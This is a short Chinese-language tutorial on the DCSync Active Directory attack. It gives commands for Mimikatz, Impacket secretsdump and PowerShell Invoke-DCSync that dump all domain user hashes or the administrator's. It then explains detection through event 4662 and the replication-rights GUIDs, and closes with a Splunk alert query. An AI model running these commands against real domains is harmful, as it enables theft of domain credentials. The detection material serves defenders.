01、简介

DCSync攻击是一种常见的域控攻击方法,利用DCSync导出域内用户的哈希值,本质上就是利用DRS(Directory Replication Service)协议通过 IDL_DRSGetNCChanges 从域控制器复制用户哈希凭据,以便进一步进行利用。

02、DCSync攻击手法

(1)Mimikatz

Github项目地址:https://github.com/gentilkiwi/mimikatz/

使用方式:

#导出域内所有用户hash
mimikatz.exe privilege::debug "lsadump::dcsync /domain:evil.com /all /csv" exit
#导出指定用户Hash
mimikatz.exe privilege::debug "lsadump::dcsync /domain:evil.com /user:administrator /csv" exit

 

(2)Impacket

Github项目地址:https://github.com/SecureAuthCorp/impacket

#导出域内所有用户hash
secretsdump.py 'evil.com/bypass:abc123!@192.168.44.194'

#导出指定用户Hash
secretsdump.py 'evil.com/bypass:abc123!@192.168.44.194' -just-dc-user 'administrator'

(3)Powershell

Github项目地址:https://gist.github.com/monoxgas/9d238accd969550136db

#导出域内所有用户hash
Invoke-DCSync -DumpForest | ft -wrap -autosize
#导出指定用户hash
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize

03、DCSync攻击检测

为了检测DCSync攻击,我们在域控上启用审核策略,通过安全事件日志识别DCSync的使用情况。

我们通过administrator 使用mimikatz进行DCSync导出指定用户Hash,在Windows安全日志可以很清楚的发现有两条EventCode:4662, 在Properties里面,有两条特殊的ACL权限:DS-Replication-Get-changes(Rights-GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)、DS-Replication-Get-Changes-All(Rights-GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2),administrator 对 Active Directory 对象执行操作,从而导出了域用户Hash。

 

 

 

我们可以根据日志提取关键特征,构建安全规则,

index=ad EventCode=4662 {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} OR {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2} AND AccessMask=0x100 AND user!=*$ |stats earliest(_time) as start_time latest(_time) as end_time count by user
| eval start_time=strftime(start_time,"%Y-%m-%d %H:%M:%S")
| eval end_time=strftime(end_time,"%Y-%m-%d %H:%M:%S")
| table start_time,end_time,user,count